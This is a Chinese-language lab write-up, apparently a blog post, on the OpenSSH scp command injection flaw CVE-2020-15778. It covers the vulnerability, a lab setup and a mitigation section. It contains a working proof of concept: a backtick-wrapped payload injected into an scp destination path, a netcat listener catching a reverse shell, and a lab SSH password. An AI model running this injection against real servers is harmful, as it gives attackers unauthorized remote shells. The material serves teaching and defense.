CVE-2020-15778 OpenSSH命令注入漏洞

文章介绍了OpenSSH8.3p1及以前版本中scp存在的命令注入漏洞,即使在禁用ssh登录的情况下,攻击者仍可能利用scp执行带有payload的命令,获取shell。实验展示了如何利用和防范此类漏洞,包括创建反弹shell的脚本,通过scp传输,并监听回连。建议的临时修复方案包括加强ssh凭证保护和使用rsync代替scp。
摘要由CSDN通过智能技术生成

预备知识
漏洞描述

OpenSSH8.3p1及之前版本中scp的scp.c文件存在操作系统命令注入漏洞。该漏洞即使在禁用ssh登录的情况下,但是允许使用scp传文件,而且远程服务器允许使用反引号(`)。攻击者可利用scp复制文件到远程服务器时,执行带有payload的scp命令,从而在后续利用中getshell。

OpenSSH简介

OpenSSH是 SSH(Secure SHell) 协议的免费开源实现。SSH协议族可以用来进行远程控制,或在计算机之间传送文件。而实现此功能的传统方式,如telnet(终端仿真协议)、rcpftp、rlogin、rsh都是极为不安全的,并且会使用明文传送密码。OpenSSH提供了服务端后台程序和客户端工具,用来加密远程控制和文件传输过程中的数据,并由此来代替原来的类似服务。

scp命令简介

scp 是安全拷贝协议(Secure Copy Protocol)的缩写,和众多Linux/Unix 使用者所熟知的拷贝(cp)命令一样。scp的使用方式类似于cp 命令,cp命令将一个文件或文件夹从本地操作系统的一个位置(源)拷贝到目标位置(目的),而scp用来将文件或文件夹从网络上的一个主机拷贝到另一个主机当中去。

scp一些基本参数如下:

-B 采取批量模式(避免询问密码或口令)

-C 启用压缩,通过指明-C参数来开启压缩模式。

-c 加密方式,选择在传输过程中用来加密的加密方式 这个选项会被直接传递到ssh。

-F ssh配置,给ssh指定一个用来替代默认配置的配置文件。这个选项会被直接传递到ssh。

-l 限速,限制命令使用的带宽,默认单位是 Kbit/s。

-P 端口,指定需要的连接的远程主机的端口。

注意,这个选项使用的是一个大写的“P”,因为小写的“-p”已经用来保留目标文件的时间和模式相关信息。(ssh命令中使用小写的“-p”来指定目标端口。)

-p 保留文件原来的修改时间,访问时间以及权限模式。

-q 静默模式:不显示来自ssh命令的进度信息,警告和诊断信息。

-r 递归拷贝整个目录。

注意,scp 命令在树形遍历的时候同样会跟随符号连接,复制所连接的文件。

-v 详细模式。scp和ssh将会打印出处理过程中的调试信息。这可以帮助你调试连接、认证和配置方面的问题。

实验目的
scp是secure copy的缩写。在linux系统中,scp用于linux之间复制文件和目录,基于ssh登陆进行安全的远程文件拷贝命令。该命令由openssh的scp.c及其他相关代码实现,通过这次实验你将了解到通过scp进行反弹shell的操作。

实验环境
目标机器:CentOS、IP:10.1.1.200

攻击机器:Kali

实验步骤一
确定目标机器是否存在漏洞,测试ssh与scp的使用情况。


1、目标机器查看ssh版本,是否在OpenSSH 8.3p1及之前

在OpenSSH8.3p1及之前说明存在操作系统命令注入漏洞。

2、攻击机器测试ssh与scp的使用情况:


1.txt中为测试内容,这里显示可以使用:
ssh密码:pA2sw0rb

实验步骤二
使用scp进行反弹shell的操作


首先在攻击机上创建一个linux的可执行的文件,并写入一个反弹shell的命令
                                                      
使用scp命令,把该文件上传到目标机器的/tmp下,在tmp录下任何用户都是拥有读、写、执行的权限
scp RAI.sh root@10.1.1.200:/tmp/RAI.sh

在kali上开启监听

nc -vv -lvvp 5555

使用poc远程执行命令

scp zm.sh root@目标地址:'`sh /tmp/zm.sh`'

可以看到我们的shell已经弹回来了

实验步骤三
简述漏洞原理


使用scp复制文件到远程服务器时,在scp命令后面跟上文件的路径,具体格式如下:

scp Filename user@host:directory/Filename

在上述过程中,scp会使用”-t“参数来获取存储传入文件的路径,如下:

scp -t directory/Filename

问题就存在这个地方,也就是如图"scp.c"文件的991行。这个地方未对传入的文件路径进行检测防护,攻击者可以使用反引号包裹payload然后加上文件名执行scp命令,这时payload将会发送到远程服务器并执行。

修复方案
目前厂商暂未发布修复措施解决此安全问题,等待官方补丁 https://www.openssh.com/

临时修复方案:

1、 加强ssh密码或密钥的保护,周期性更换密码或密钥
2、 使用rsync代替scp

具体实践:

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

jack-yyj

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值